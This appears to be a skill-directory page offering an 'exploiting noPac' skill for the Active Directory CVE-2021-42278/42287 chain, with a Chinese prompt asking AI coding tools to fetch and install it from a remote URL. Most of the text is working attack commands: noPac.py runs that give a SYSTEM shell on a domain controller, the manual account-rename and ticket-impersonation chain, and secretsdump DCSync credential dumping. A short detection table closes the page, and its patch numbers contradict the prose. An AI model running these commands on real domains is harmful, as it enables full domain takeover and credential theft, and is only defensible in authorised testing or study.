Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and
复制下面这句话,粘贴给 Claude Code、Codex、Cursor 等 AI 编程工具,它会读取安装说明并在你确认后完成安装。
请阅读 https://ai.atlankj.com/install/asset/gh-exploiting-nopac-cve-2021-42278-42287-d3790e4f681e ,按照其中的说明把「exploiting-nopac-cve-2021-42278-42287」安装到你(当前 AI 工具)中。执行前先告诉我将运行的命令和写入的位置,等我确认。
查看 AI 将读取的安装说明正在读取 GitHub 原文…
内容来自 GitHub 原始文件,由原作者维护。在 GitHub 查看
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.
# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
# Check MachineAccountQuota via LDAP
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
# DCSync using secretsdump.py with the Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# Or directly through the noPac shell
# The shell runs as SYSTEM on the DC
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
# Rename machine account sAMAccountName to DC name (without $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
| Tool | Purpose | Platform |
|---|---|---|
| noPac (cube0x0) | Automated scanner and exploiter | Python |
| noPac (Ridter) | Alternative exploit implementation | Python |
| Impacket | Kerberos ticket manipulation, DCSync | Python |
| CrackMapExec | Vulnerability scanning module | Python |
| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |
| secretsdump.py | Post-exploitation credential dumping | Python |
| CVE | Description | CVSS | Patch |
|---|---|---|---|
| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC confusion / privilege escalation | 7.5 | KB5008380 |
| Indicator | Detection Method |
|---|---|
| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |
| New machine account creation | Event 4741 (computer object created) |
| TGT request for account without trailing $ | Kerberos audit log analysis |
| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |
| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |